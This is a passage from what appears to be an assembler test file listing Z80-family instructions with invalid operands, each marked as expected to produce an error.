-1, (ix) ; Error ioe res -1, (ix) ; Error ioe res -1, (ix+127) ; Error ioe res -1, (ix+127) ; Error ioe res -1, (ix-128) ; Error ioe res -1, (ix-128) ; Error ioe res -1, (iy) ; Error ioe res -1, (iy) ; Error ioe res -1, (iy+127) ; Error ioe res -1, (iy+127) ; Error ioe res -1, (iy-128) ; Error ioe res -1, (iy-128) ; Error ioe res 8, (hl) ; Error ioe res 8, (hl) ; Error ioe res 8, (ix) ; Error ioe res 8, (ix) ; Error ioe res 8, (ix+127) ; Error ioe res 8, (ix+127) ; Error ioe res 8, (ix-128) ; Error ioe res 8, (ix-128) ; Error ioe res 8, (iy) ; Error ioe res 8, (iy) ; Error ioe res 8, (iy+127) ; Error ioe res 8, (iy+127) ; Error ioe res 8, (iy-128) ; Error ioe res 8, (iy-128) ; Error ioe set -1, (hl) ; Error ioe set -1, (hl) ; Error ioe set -1, (ix) ; Error ioe set -1, (ix) ; Error ioe set -1, (ix+127) ; Error ioe set -1, (ix+127) ; Error ioe set -1, (ix-128) ; Error ioe set -1, (ix-128) ; Error ioe set -1, (iy) ; Error ioe set -1, (iy) ; Error ioe set -1, (iy+127) ; Error ioe set -1, (iy+127) ; Error ioe set -1, (iy-128) ; Error ioe set -1, (iy-128) ; Error ioe set 8, (hl) ; Error ioe set 8, (hl) ; Error ioe set 8, (ix) ; Error ioe set 8, (ix) ; Error ioe set 8, (ix+127) ; Error ioe set 8, (ix+127) ; Error ioe set 8, (ix-128) ; Error ioe set 8, (ix-128) ; Error ioe set 8, (iy) ; Error ioe set 8, (iy) ; Error ioe set 8, (iy+127) ; Error ioe set 8, (iy+127) ; Error ioe set 8, (iy-128) ; Error ioe set 8, (iy-128) ; Error ioi altd bit -1, (hl) ; Error ioi altd bit -1, (hl) ; Error ioi altd bit -1, (ix) ; Error ioi altd bit -1, (ix) ; Error ioi altd bit -1, (ix+127) ; Error ioi altd bit -1, (ix+127) ; Error ioi altd bit -1, (ix-128) ; Error ioi altd bit -1, (ix-128) ; Error ioi altd bit -1, (iy) ; Error ioi altd bit -1, (iy) ; Error ioi altd bit -1, (iy+127) ; Error ioi altd bit -1, (iy+127) ; Error ioi altd bit -1, (iy-128) ; Error ioi altd bit -1, (iy-128) ; Error ioi altd bit 8, (hl) ; Error ioi altd bit 8, (hl) ; Error ioi altd bit 8, (ix) ; Error ioi altd bit 8, (ix) ; Error ioi altd bit 8, (ix+127) ; Error ioi altd bit 8, (ix+127) ; Error ioi altd bit 8, (ix-128) ; Error ioi altd bit 8, (ix-128) ; Error ioi altd bit 8, (iy) ; Error ioi altd bit 8, (iy) ; Error ioi altd bit 8, (iy+127) ; Error ioi altd bit 8, (iy+127) ; Error ioi altd bit 8, (iy-128) ; Error ioi altd bit 8, (iy-128) ; Error ioi bit -1, (hl) ; Error ioi bit -1, (hl) ; Error ioi bit -1, (ix) ; Error ioi bit -1, (ix) ; Error ioi bit -1, (ix+127) ; Error ioi bit -1, (ix+127) ; Error ioi bit -1, (ix-128) ; Error ioi bit -1, (ix-128) ; Error ioi bit -1, (iy) ; Error ioi bit -1, (iy) ; Error ioi bit -1, (iy+127) ; Error ioi bit -1, (iy+127) ; Error ioi bit -1, (iy-128) ; Error ioi bit -1, (iy-128) ; Error ioi bit 8, (hl) ; Error ioi bit 8, (hl) ; Error ioi bit 8, (ix) ; Error ioi bit 8, (ix) ; Error ioi bit 8, (ix+127) ; Error ioi bit 8, (ix+127) ; Error ioi bit 8, (ix-128) ; Error ioi bit 8, (ix-128) ; Error ioi bit 8, (iy) ; Error ioi bit 8, (iy) ; Error ioi bit 8, (iy+127) ; Error ioi bit 8, (iy+127) ; Error ioi bit 8, (iy-128) ; Error ioi bit 8, (iy-128) ; Error ioi res -1, (hl) ; Error ioi res -1, (hl) ; Error ioi res -1, (ix) ; Error ioi res -1, (ix) ; Error ioi res -1, (ix+127) ; Error ioi res -1, (ix+127) ; Error ioi res -1, (ix-128) ; Error ioi res -1, (ix-128) ; Error ioi res -1, (iy) ; Error ioi res -1, (iy) ; Error ioi res -1, (iy+127) ; Error ioi res -1, (iy+127) ; Error ioi res -1, (iy-128) ; Error ioi res -1, (iy-128) ; Error ioi res 8, (hl) ; Error ioi res 8, (hl) ; Error ioi res 8, (ix) ; Error ioi res 8, (ix) ; Error ioi res 8, (ix+127) ; Error ioi res 8, (ix+127) ; Error ioi res 8, (ix-128) ; Error ioi res 8, (ix-128) ; Error ioi res 8, (iy) ; Error ioi res 8, (iy) ; Error ioi res 8, (iy+127) ; Error ioi res 8, (iy+127) ; Error ioi res 8, (iy-128) ; Error ioi res 8, (iy-128) ; Error ioi set -1, (hl) ; Error ioi set -1, (hl) ; Error ioi set -1, (ix) ; Error ioi set -1, (ix) ; Error ioi set -1, (ix+127) ; Error ioi set -1, (ix+127) ; Error ioi set -1, (ix-128) ; Error ioi set -1, (ix-128) ; Error ioi set -1, (iy) ; Error ioi set -1, (iy) ; Error ioi set -1, (iy+127) ; Error ioi set -1, (iy+127) ; Error ioi set -1, (iy-128) ; Error ioi set -1, (iy-128) ; Error ioi set 8, (hl) ; Error ioi set 8, (hl) ; Error ioi set 8, (ix) ; Error ioi set 8, (ix) ; Error ioi set 8, (ix+127) ; Error ioi set 8, (ix+127) ; Error ioi set 8, (ix-128) ; Error ioi set 8, (ix-128) ; Error ioi set 8, (iy) ; Error ioi set 8, (iy) ; Error ioi set 8, (iy+127) ; Error ioi set 8, (iy+127) ; Error ioi set 8, (iy-128) ; Error ioi set 8, (iy-128) ; Error ipset -1 ; Error ipset -1 ; Error ipset 4 ; Error ipset 4 ; Error jk -32768 ; Error jk 32767 ; Error jk 65535 ; Error jnk -32768 ; Error jnk 32767 ; Error jnk 65535 ; Error jnx5 -32768 ; Error jnx5 32767 ; Error jnx5 65535 ; Error jp (c) ; Error jp k,-32768 ; Error jp k,32767 ; Error jp k,65535 ; Error jp nk,-32768 ; Error jp nk,32767 ; Error jp nk,65535 ; Error jp nx5,-32768 ; Error jp nx5,32767 ; Error jp nx5,65535 ; Error jp x5,-32768 ; Error jp x5,32767 ; Error jp x5,65535 ; Error jx5 -32768 ; Error jx5 32767 ; Error jx5 65535 ; Error ld (c), a ; Error ld (de), hl ; Error ld a, (c) ; Error ld a, i ; Error ld a, ixh ; Error ld a, ixl ; Error ld a, iyh ; Error ld a, iyl ; Error ld a, r ; Error ld b, ixh ; Error ld b, ixl ; Error ld b, iyh ; Error ld b, iyl ; Error ld bc, ix ; Error ld bc, iy ; Error ld c, ixh ; Error ld c, ixl ; Error ld c, iyh ; Error ld c, iyl ; Error ld d, ixh ; Error ld d, ixl ; Error ld d, iyh ; Error ld d, iyl ; Error ld de, hl+0 ; Error ld de, hl+255 ; Error ld de, ix ; Error ld de, iy ; Error ld e, ixh ; Error ld e, ixl ; Error ld e, iyh ; Error ld e, iyl ; Error ld hl, (de) ; Error ld i, a ; Error ld ix, bc ; Error ld ix, de ; Error ld ix, iy ; Error ld ixh, -128 ; Error ld ixh, 127 ; Error ld ixh, 255 ; Error ld ixh, a ; Error ld ixh, b ; Error ld ixh, c ; Error ld ixh, d ; Error ld ixh, e ; Error ld ixh, ixh ; Error ld ixh, ixl ; Error ld ixl, -128 ; Error ld ixl, 127 ; Error ld ixl, 255 ; Error ld ixl, a ; Error ld ixl, b ; Error ld ixl, c ; Error ld ixl, d ; Error ld ixl, e ; Error ld ixl, ixh ; Error ld ixl, ixl ; Error ld iy, bc ; Error ld iy, de ; Error ld iy, ix ; Error ld iyh, -128 ; Error ld iyh, 127 ; Error ld iyh, 255 ; Error ld iyh, a ; Error ld iyh, b ; Error ld iyh, c ; Error ld iyh, d ; Error ld iyh, e ; Error ld iyh, iyh ; Error ld iyh, iyl ; Error ld iyl, -128 ; Error ld iyl, 127 ; Error ld iyl, 255 ; Error ld iyl, a ; Error ld iyl, b ; Error ld iyl, c ; Error ld iyl, d ; Error ld iyl, e ; Error ld iyl, iyh ; Error ld iyl, iyl ; Error ld r, a ; Error lddrx ; Error lddx ; Error ldh (0), a ; Error ldh (127), a ; Error ldh (255), a ; Error ldh (c), a ; Error ldh a, (0) ; Error ldh a, (127) ; Error ldh a, (255) ; Error ldh a, (c) ; Error ldhi -128 ; Error ldhi 127 ; Error ldhi 255 ; Error ldhl sp, -128 ; Error ldhl sp, 127 ; Error ldirx ; Error ldix ; Error ldpirx ; Error ldsi -128 ; Error ldsi 127 ; Error ldsi 255 ; Error ldws ; Error lhlde ; Error lhlx ; Error mirror a ; Error mlt bc ; Error mlt de ; Error mlt hl ; Error mlt sp ; Error mmu -1, -128 ; Error mmu -1, -128 ; Error mmu -1, 127 ; Error mmu -1, 127 ; Error mmu -1, 255 ; Error mmu -1, 255 ; Error mmu -1, a ; Error mmu -1, a ; Error mmu 0, -128 ; Error mmu 0, 127 ; Error mmu 0, 255 ; Error mmu 0, a ; Error mmu 1, -128 ; Error mmu 1, 127 ; Error mmu 1, 255 ; Error mmu 1, a ; Error mmu 2, -128 ; Error mmu 2, 127 ; Error mmu 2, 255 ; Error mmu 2, a ; Error mmu 3, -128 ; Error mmu 3, 127 ; Error mmu 3, 255 ; Error mmu 3, a ; Error mmu 4, -128 ; Error mmu 4, 127 ; Error mmu 4, 255 ; Error mmu 4, a ; Error mmu 5, -128 ; Error mmu 5, 127 ; Error mmu 5, 255 ; Error mmu 5, a ; Error mmu 6, -128 ; Error mmu 6, 127 ; Error mmu 6, 255 ; Error mmu 6, a ; Error mmu 7, -128 ; Error mmu 7, 127 ; Error mmu 7, 255 ; Error mmu 7, a ; Error mmu 8, -128 ; Error mmu 8, -128 ; Error mmu 8, 127 ; Error mmu 8, 127 ; Error mmu 8, 255 ; Error mmu 8, 255 ; Error mmu 8, a ; Error mmu 8, a ; Error mmu0 -128 ; Error mmu0 127 ; Error mmu0 255 ; Error mmu0 a ; Error mmu1 -128 ; Error mmu1 127 ; Error mmu1 255 ; Error mmu1 a ; Error mmu2 -128 ; Error mmu2 127 ; Error mmu2 255 ; Error mmu2 a ; Error mmu3 -128 ; Error mmu3 127 ; Error mmu3 255 ; Error mmu3 a ; Error mmu4 -128 ; Error mmu4 127 ; Error mmu4 255 ; Error mmu4 a ; Error mmu5 -128 ; Error mmu5 127 ; Error mmu5 255 ; Error mmu5 a ; Error mmu6 -128 ; Error mmu6 127 ; Error mmu6 255 ; Error mmu6 a ; Error mmu7 -128 ; Error mmu7 127 ; Error mmu7 255 ; Error mmu7 a ; Error mul d, e ; Error mul de ; Error nextreg -128, -128 ; Error nextreg -128, a ; Error nextreg 127, 127 ; Error nextreg 127, a ; Error nextreg 255, 255 ; Error nextreg 255, a ; Error or a, ixh ; Error or a, ixl ; Error or a, iyh ; Error or a, iyl ; Error or ixh ; Error or ixl ; Error or iyh ; Error or iyl ; Error otdm ; Error otdmr ; Error otdr ; Error otim ; Error otimr ; Error otir ; Error out (-128), a ; Error out (127), a ; Error out (255), a ; Error out (c), -1 ; Error out (c), -1 ; Error out (c), 0 ; Error out (c), 1 ; Error out (c), 1 ; Error out (c), a ; Error out (c), b ; Error out (c), c ; Error out (c), d ; Error out (c), e ; Error out (c), f ; Error out (c), h ; Error out (c), l ; Error out -128 ; Error out 127 ; Error out 255 ; Error out0 (-128), a ; Error out0 (-128), b ; Error out0 (-128), c ; Error out0 (-128), d ; Error out0 (-128), e ; Error out0 (-128), h ; Error out0 (-128), l ; Error out0 (127), a ; Error out0 (127), b ; Error out0 (127), c ; Error out0 (127), d ; Error out0 (127), e ; Error out0 (127), h ; Error out0 (127), l ; Error out0 (255), a ; Error out0 (255), b ; Error out0 (255), c ; Error out0 (255), d ; Error out0 (255), e ; Error out0 (255), h ; Error out0 (255), l ; Error outd ; Error outi ; Error outinb ; Error ovrst8 ; Error pixelad ; Error pixeldn ; Error push -32768 ; Error push 32767 ; Error push 65535 ; Error res -1, (hl) ; Error res -1, (hl) ; Error res -1, (ix) ; Error res -1, (ix) ; Error res -1, (ix), a ; Error res -1, (ix), a ; Error res -1, (ix), b ; Error res -1, (ix), b ; Error res -1, (ix), c ; Error res -1, (ix), c ; Error res -1, (ix), d ; Error res -1, (ix), d ; Error res -1, (ix), e ; Error res -1, (ix), e ; Error res -1, (ix), h ; Error res -1, (ix), h ; Error res -1, (ix), l ; Error res -1, (ix), l ; Error res -1, (ix+127) ; Error res -1, (ix+127) ; Error res -1, (ix+127), a ; Error res -1, (ix+127), a ; Error res -1, (ix+127), b ; Error res -1, (ix+127), b ; Error res -1, (ix+127), c ; Error res -1, (ix+127), c ; Error res -1, (ix+127), d ; Error res -1, (ix+127), d ; Error res -1, (ix+127), e ; Error res -1, (ix+127), e ; Error res -1, (ix+127), h ; Error res -1, (ix+127), h ; Error res -1, (ix+127), l ; Error res -1, (ix+127), l ; Error res -1, (ix-128) ; Error res -1, (ix-128) ; Error res -1, (ix-128), a ; Error res -1, (ix-128), a ; Error res -1, (ix-128), b ; Error res -1, (ix-128), b ; Error res -1, (ix-128), c ; Error res -1, (ix-128), c ; Error res -1, (ix-128), d ; Error res -1, (ix-128), d ; Error res -1, (ix-128), e ; Error res -1, (ix-128), e ; Error res -1, (ix-128), h ; Error res -1, (ix-128), h ; Error res -1, (ix-128), l ; Error res -1, (ix-128), l ; Error res -1, (iy) ; Error res -1, (iy) ; Error res -1, (iy), a ; Error res -1, (iy), a ; Error res -1, (iy), b ; Error res -1, (iy), b ; Error res -1, (iy), c ; Error res -1, (iy), c ; Error res -1, (iy), d ; Error res -1, (iy), d ; Error res -1, (iy), e ; Error res -1, (iy), e ; Error res -1, (iy), h ; Error res -1, (iy), h ; Error res -1, (iy), l ; Error res -1, (iy), l ; Error res -1, (iy+127) ; Error res -1, (iy+127) ; Error res -1, (iy+127), a ; Error res -1, (iy+127), a ; Error res -1, (iy+127), b ; Error res -1, (iy+127), b ; Error res -1, (iy+127), c ; Error res -1, (iy+127), c ; Error res -1, (iy+127), d ; Error res -1, (iy+127), d ; Error res -1, (iy+127), e ; Error res -1, (iy+127), e ; Error res -1, (iy+127), h ; Error res -1, (iy+127), h ; Error res -1, (iy+127), l ; Error res -1, (iy+127), l ; Error res -1, (iy-128) ; Error res -1, (iy-128) ; Error res -1, (iy-128), a ; Error res -1, (iy-128), a ; Error res -1, (iy-128), b ; Error res -1, (iy-128), b ; Error res -1, (iy-128), c ; Error res -1, (iy-128), c ; Error res -1, (iy-128), d ; Error res -1, (iy-128), d ; Error res -1, (iy-128), e ; Error res -1, (iy-128), e ; Error res -1, (iy-128), h ; Error res -1, (iy-128), h ; Error res -1, (iy-128), l ; Error res -1, (iy-128), l ; Error res -1, a ; Error res -1, a ; Error res -1, a' ; Error res -1, a' ; Error res -1, b ; Error res -1, b ; Error res -1, b' ; Error res -1, b' ; Error res -1, c ; Error res -1, c ; Error res -1, c' ; Error res -1, c' ; Error res -1, d ; Error res -1, d ; Error res -1, d' ; Error res -1, d' ; Error res -1, e ; Error res -1, e ; Error res -1, e' ; Error res -1, e' ; Error res -1, h ; Error res -1, h ; Error res -1, h' ; Error res -1, h' ; Error res -1, l ; Error res -1, l ; Error res -1, l' ; Error res -1, l' ; Error res 0, (ix), a ; Error res 0, (ix), b ; Error res 0, (ix), c ; Error res 0, (ix), d ; Error res 0, (ix), e ; Error res 0, (ix), h ; Error res 0, (ix), l ; Error res 0, (ix+127), a ; Error res 0, (ix+127), b ; Error res 0, (ix+127), c ; Error res 0, (ix+127), d ; Error res 0, (ix+127), e ; Error res 0, (ix+127), h ; Error res 0, (ix+127), l ; Error res 0, (ix-128), a ; Error res 0, (ix-128), b ; Error res 0, (ix-128), c ; Error res 0, (ix-128), d ; Error res 0, (ix-128), e ; Error res 0, (ix-128), h ; Error res 0, (ix-128), l ; Error res 0, (iy), a ; Error res 0, (iy), b ; Error res 0, (iy), c ; Error res 0, (iy), d ; Error res 0, (iy), e ; Error res 0, (iy), h ; Error res 0, (iy), l ; Error res 0, (iy+127), a ; Error res 0, (iy+127), b ; Error res 0, (iy+127), c ; Error res 0, (iy+127), d ; Error res 0, (iy+127), e ; Error res 0, (iy+127), h ; Error res 0, (iy+127), l ; Error res 0, (iy-128), a ; Error res 0, (iy-128), b ; Error res 0, (iy-128), c ; Error res 0, (iy-128), d ; Error res 0, (iy-128), e ; Error res 0, (iy-128), h ; Error res 0, (iy-128), l ; Error res 1, (ix), a ; Error res 1, (ix), b ; Error res 1, (ix), c ; Error res 1, (ix), d ; Error res 1, (ix), e ; Error res 1, (ix), h ; Error res 1, (ix), l ; Error res 1, (ix+127), a ; Error res 1, (ix+127), b ; Error res 1, (ix+127), c ; Error res 1, (ix+127), d ; Error res 1, (ix+127), e ; Error res 1, (ix+127), h ; Error res 1, (ix+127), l ; Error res 1, (ix-128), a ; Error res 1, (ix-128), b ; Error res 1, (ix-128), c ; Error res 1, (ix-128), d ; Error res 1, (ix-128), e ; Error res 1, (ix-128), h ; Error res 1, (ix-128), l ; Error res 1, (iy), a ; Error res 1, (iy), b ; Error res 1, (iy), c ; Error res 1, (iy), d ; Error res 1, (iy), e ; Error res 1, (iy), h ; Error res 1, (iy), l ; Error res 1, (iy+127), a ; Error res 1, (iy+127), b ; Error res 1, (iy+127), c ; Error res 1, (iy+127), d ; Error res 1, (iy+127), e ; Error res 1, (iy+127), h ; Error res 1, (iy+127), l ; Error res 1, (iy-128), a ; Error res 1, (iy-128), b ; Error res 1, (iy-128), c ; Error res 1, (iy-128), d ; Error res 1, (iy-128), e ; Error res 1, (iy-128), h ; Error res 1, (iy-128), l ; Error res 2, (ix), a ; Error res 2, (ix), b ; Error res 2, (ix), c ; Error res 2, (ix), d ; Error res 2, (ix), e ; Error res 2, (ix), h ; Error res 2, (ix), l ; Error res 2, (ix+127), a ; Error res 2, (ix+127), b ; Error res 2, (ix+127), c ; Error res 2, (ix+127), d ; Error res 2, (ix+127), e ; Error res 2, (ix+127), h ; Error res 2, (ix+127), l ; Error res 2, (ix-128), a ; Error res 2, (ix-128), b ; Error res 2, (ix-128), c ; Error res 2, (ix-128), d ; Error res 2, (ix-128), e ; Error res 2, (ix-128), h ; Error res 2, (ix-128), l ; Error res 2, (iy), a ; Error res 2, (iy), b ; Error res 2, (iy), c ; Error res 2, (iy), d ; Error res 2, (iy), e ; Error res 2, (iy), h ; Error res 2, (iy), l ; Error res 2, (iy+127), a ; Error res 2, (iy+127), b ; Error res 2, (iy+127), c ; Error res 2, (iy+127), d ; Error res 2, (iy+127), e ; Error res 2, (iy+127), h ; Error res 2, (iy+127), l ; Error res 2, (iy-128), a ; Error res 2, (iy-128), b ; Error res 2, (iy-128), c ; Error res 2, (iy-128), d ; Error res 2, (iy-128), e ; Error res 2, (iy-128), h ; Error res 2, (iy-128), l ; Error res 3, (ix), a ; Error res 3, (ix), b ; Error res 3, (ix), c ; Error res 3, (ix), d ; Error res 3, (ix), e ; Error res 3, (ix), h ; Error res 3, (ix), l ; Error res 3, (ix+127), a ; Error res 3, (ix+127), b ; Error res 3, (ix+127), c ; Error res 3, (ix+127), d ; Error res 3, (ix+127), e ; Error res 3, (ix+127), h ; Error res 3, (ix+127), l ; Error res 3, (ix-128), a ; Error res 3, (ix-128), b ; Error res 3, (ix-128), c ; Error res 3, (ix-128), d ; Error res 3, (ix-128), e ; Error res 3, (ix-128), h ; Error res 3, (ix-128), l ; Error res 3, (iy), a ; Error res 3, (iy), b ; Error res 3, (iy), c ; Error res 3, (iy), d ; Error res 3, (iy), e ; Error res 3, (iy), h ; Error res 3, (iy), l ; Error res 3, (iy+127), a ; Error res 3, (iy+127), b ; Error res 3, (iy+127), c ; Error res 3, (iy+127), d ; Error res 3, (iy+127), e ; Error res 3, (iy+127), h ; Error res 3, (iy+127), l ; Error res 3, (iy-128), a ; Error res 3, (iy-128), b ; Error res 3, (iy-128), c ; Error res 3, (iy-128), d ; Error res 3, (iy-128), e ; Error res 3, (iy-128), h ; Error res 3, (iy-128), l ; Error res 4, (ix), a ; Error res 4, (ix), b ; Error res 4, (ix), c ; Error res 4, (ix), d ; Error res 4, (ix), e ; Error res 4, (ix), h ; Error res 4, (ix), l ; Error res 4, (ix+127), a ; Error res 4, (ix+127), b ; Error res 4, (ix+127), c ; Error res 4, (ix+127), d ; Error res 4, (ix+127), e ; Error res 4, (ix+127), h ; Error res 4, (ix+127), l ; Error res 4, (ix-128), a ; Error res 4, (ix-128), b ; Error res 4, (ix-128), c ; Error res 4, (ix-128), d ; Error res 4, (ix-128), e ; Error res 4, (ix-128), h ; Error res 4, (ix-128), l ; Error res 4, (iy), a ; Error res 4, (iy), b ; Error res 4, (iy), c ; Error res 4, (iy), d ; Error res 4, (iy), e ; Error res 4, (iy), h ; Error res 4, (iy), l ; Error res 4, (iy+127), a ; Error res 4, (iy+127), b ; Error res 4, (iy+127), c ; Error res 4, (iy+127), d ; Error res 4, (iy+127), e ; Error res 4, (iy+127), h ; Error res 4, (iy+127), l ; Error res 4, (iy-128), a ; Error res 4, (iy-128), b ; Error res 4, (iy-128), c ; Error res 4, (iy-128), d ; Error res 4, (iy-128), e ; Error res 4, (iy-128), h ; Error res 4, (iy-128), l ; Error res 5, (ix), a ; Error res 5, (ix), b ; Error res 5, (ix), c ; Error res 5, (ix), d ; Error res 5, (ix), e ; Error res 5, (ix), h ; Error res 5, (ix), l ; Error res 5, (ix+127), a ; Error res 5, (ix+127), b ; Error res 5, (ix+127), c ; Error res 5, (ix+127), d ; Error res 5, (ix+127), e ; Error res 5, (ix+127), h ; Error res 5, (ix+127), l ; Error res 5, (ix-128), a ; Error res 5, (ix-128), b ; Error res 5, (ix-128), c ; Error res 5, (ix-128), d ; Error res 5, (ix-128), e ; Error res 5, (ix-128), h ; Error res 5, (ix-128), l ; Error res 5, (iy), a ; Error res 5, (iy), b ; Error res 5, (iy), c ; Error res 5, (iy), d ; Error res 5, (iy), e ; Error res 5, (iy), h ; Error res 5, (iy), l ; Error res 5, (iy+127), a ; Error res 5, (iy+127), b ; Error res 5, (iy+127), c ; Error res 5, (iy+127), d ; Error res 5, (iy+127), e ; Error res 5, (iy+127), h ; Error res 5, (iy+127), l ; Error res 5, (iy-128), a ; Error res 5, (iy-128), b ; Error res 5, (iy-128), c ; Error res 5, (iy-128), d ; Error res 5, (iy-128), e ; Error res 5, (iy-128), h ; Error res 5, (iy-128), l ; Error res 6, (ix), a ; Error res 6, (ix), b ; Error res 6, (ix), c ; Error res 6, (ix), d ; Error res 6, (ix), e ; Error res 6, (ix), h ; Error res 6, (ix), l ; Error res 6, (ix+127), a ; Error res 6, (ix+127), b ; Error res 6, (ix+127), c ; Error res 6, (ix+127), d ; Error res 6, (ix+127), e ; Error res 6, (ix+127), h ; Error res 6, (ix+127), l ; Error res 6, (ix-128), a ; Error res 6, (ix-128), b ; Error res 6, (ix-128), c ; Error res 6, (ix-128), d ; Error res 6, (ix-128), e ; Error res 6, (ix-128), h ; Error res 6, (ix-128), l ; Error res 6, (iy), a ; Error res 6, (iy), b ; Error res 6, (iy), c ; Error res 6, (iy), d ; Error res 6, (iy), e ; Error res 6, (iy), h ; Error res 6, (iy), l ; Error res 6, (iy+127), a ; Error res 6, (iy+127), b ; Error res 6, (iy+127), c ; Error res 6, (iy+127), d ; Error res 6, (iy+127), e ; Error res 6, (iy+127), h ; Error res 6, (iy+127), l ; Error res 6, (iy-128), a ; Error res 6, (iy-128), b ; Error res 6, (iy-128), c ; Error res 6, (iy-128), d ; Error res 6, (iy-128), e ; Error res 6, (iy-128), h ; Error res 6, (iy-128), l ; Error res 7, (ix), a ; Error res 7, (ix), b ; Error res 7, (ix), c ; Error res 7, (ix), d ; Error res 7, (ix), e ; Error res 7, (ix), h ; Error res 7, (ix), l ; Error res 7, (ix+127), a ; Error res 7, (ix+127), b ; Error res 7, (ix+127), c ; Error res 7, (ix+127), d ; Error res 7, (ix+127), e ; Error res 7, (ix+127), h ; Error res 7, (ix+127), l ; Error res 7, (ix-128), a ; Error res 7, (ix-128), b ; Error res 7, (ix-128), c ; Error res 7, (ix-128), d ; Error res 7, (ix-128), e ; Error res 7, (ix-128), h ; Error res 7, (ix-128), l ; Error res 7, (iy), a ; Error res 7, (iy), b ; Error res 7, (iy), c ; Error res 7, (iy), d ; Error res 7, (iy), e ; Error res 7, (iy), h ; Error res 7, (iy), l ; Error res 7, (iy+127), a ; Error res 7, (iy+127), b ; Error res 7, (iy+127), c ; Error res 7, (iy+127), d ; Error res 7, (iy+127), e ; Error res 7, (iy+127), h ; Error res 7, (iy+127), l ; Error res 7, (iy-128), a ; Error res 7, (iy-128), b ; Error res 7, (iy-128), c ; Error res 7, (iy-128), d ; Error res 7, (iy-128), e ; Error res 7, (iy-128), h ; Error res 7, (iy-128), l ; Error res 8, (hl) ; Error res 8, (hl) ; Error res 8, (ix) ; Error res 8, (ix) ; Error res 8, (ix), a ; Error res 8, (ix), a ; Error res 8, (ix), b ; Error res 8, (ix), b ; Error res 8, (ix), c ; Error res 8, (ix), c ; Error res 8, (ix), d ; Error res 8, (ix), d ; Error res 8, (ix), e ; Error res 8, (ix), e ; Error res 8, (ix), h ; Error res 8, (ix), h ; Error res 8, (ix), l ; Error res 8, (ix), l ; Error res 8, (ix+127) ; Error res 8, (ix+127) ; Error res 8, (ix+127), a ; Error res 8, (ix+127), a ; Error res 8, (ix+127), b ; Error res 8, (ix+127), b ; Error res 8, (ix+127), c ; Error res 8, (ix+127), c ; Error res 8, (ix+127), d ; Error res 8, (ix+127), d ; Error res 8, (ix+127), e ; Error res 8, (ix+127), e ; Error res 8, (ix+127), h ; Error res 8, (ix+127), h ; Error res 8, (ix+127), l ; Error res 8, (ix+127), l ; Error res 8, (ix-128) ; Error res 8, (ix-128) ; Error res 8, (ix-128), a ; Error res 8, (ix-128), a ; Error res 8, (ix-128), b ; Error res 8, (ix-128), b ; Error res 8, (ix-128), c ; Error res 8, (ix-128), c ; Error res 8, (ix-128), d ; Error res 8, (ix-128), d ; Error res 8, (ix-128), e ; Error res 8, (ix-128), e ; Error res 8, (ix-128), h ; Error res 8, (ix-128), h ; Error res 8, (ix-128), l ; Error res 8, (ix-128), l ; Error res 8, (iy) ; Error res 8, (iy) ; Error res 8, (iy), a ; Error res 8, (iy), a ; Error res 8, (iy), b ; Error res 8, (iy), b ; Error res 8, (iy), c ; Error res 8, (iy), c ; Error res 8, (iy), d ; Error res 8, (iy), d ; Error res 8, (iy), e ; Error res 8, (iy), e ; Error res 8, (iy), h ; Error res 8, (iy), h ; Error res 8, (iy), l ; Error res 8, (iy), l ; Error res 8, (iy+127) ; Error res 8, (iy+127) ; Error res 8, (iy+127), a ; Error res 8, (iy+127), a ; Error res 8, (iy+127), b ; Error res 8, (iy+127), b ; Error res 8, (iy+127), c ; Error res 8, (iy+127), c ; Error res 8, (iy+127), d ; Error res 8, (iy+127), d ; Error res 8, (iy+127), e ; Error res 8, (iy+127), e ; Error res 8, (iy+127), h ; Error res 8, (iy+127), h ; Error res 8, (iy+127), l ; Error res 8, (iy+127), l ; Error res 8, (iy-128) ; Error res 8, (iy-128) ; Error res 8, (iy-128), a ; Error res 8, (iy-128), a ; Error res 8, (iy-128), b ; Error res 8, (iy-128), b ; Error res 8, (iy-128), c ; Error res 8, (iy-128), c ; Error res 8, (iy-128), d ; Error res 8, (iy-128), d ; Error res 8, (iy-128), e ; Error res 8, (iy-128), e ; Error res 8, (iy-128), h ; Error res 8, (iy-128), h ; Error res 8, (iy-128), l ; Error res 8, (iy-128), l ; Error res 8, a ; Error res 8, a ; Error res 8, a' ; Error res 8, a' ; Error res 8, b ; Error res 8, b ; Error res 8, b' ; Error res 8, b' ; Error res 8, c ; Error res 8, c ; Error res 8, c' ; Error res 8, c' ; Error res 8, d ; Error res 8, d ; Error res 8, d' ; Error res 8, d' ; Error res 8, e ; Error res 8, e ; Error res 8, e' ; Error res 8, e' ; Error res 8, h ; Error res 8, h ; Error res 8, h' ; Error res 8, h' ; Error res 8, l ; Error res 8, l ; Error res 8, l' ; Error res 8, l' ; Error retn ; Error rim ; Error rl (ix), a ; Error rl (ix), b ; Error rl (ix), c ; Error rl (ix), d ; Error rl (ix), e ; Error rl (ix), h ; Error rl (ix), l ; Error rl (ix+127), a ; Error rl (ix+127), b ; Error rl (ix+127), c ; Error rl (ix+127), d ; Error rl (ix+127), e ; Error rl (ix+127), h ; Error rl (ix+127), l ; Error rl (ix-128), a ; Error rl (ix-128), b ; Error rl (ix-128), c ; Error rl (ix-128), d ; Error rl (ix-128), e ; Error rl (ix-128), h ; Error rl (ix-128), l ; Error rl (iy), a ; Error rl (iy), b ; Error rl (iy), c ; Error rl (iy), d ; Error rl (iy), e ; Error rl (iy), h ; Error rl (iy), l ; Error rl (iy+127), a ; Error rl (iy+127), b ; Error rl (iy+127), c ; Error rl (iy+127), d ; Error rl (iy+127), e ; Error rl (iy+127), h ; Error rl (iy+127), l ; Error rl (iy-128), a ; Error rl (iy-128), b ; Error rl (iy-128), c ; Error rl (iy-128), d ; Error rl (iy-128), e ; Error rl (iy-128), h ; Error rl (iy-128), l ; Error rlc (ix), a ; Error rlc (ix), b ; Error rlc (ix), c ; Error rlc (ix), d ; Error rlc (ix), e ; Error rlc (ix), h ; Error rlc (ix), l ; Error rlc (ix+127), a ; Error rlc (ix+127), b ; Error rlc (ix+127), c ; Error rlc (ix+127), d ; Error rlc (ix+127), e ; Error rlc (ix+127), h ; Error rlc (ix+127), l ; Error rlc (ix-128), a ; Error rlc (ix-128), b ; Error rlc (ix-128), c ; Error rlc (ix-128), d ; Error rlc (ix-128), e ; Error rlc (ix-128), h ; Error rlc (ix-128), l ; Error rlc (iy), a ; Error rlc (iy), b ; Error rlc (iy), c ; Error rlc (iy), d ; Error rlc (iy), e ; Error rlc (iy), h ; Error rlc (iy), l ; Error rlc 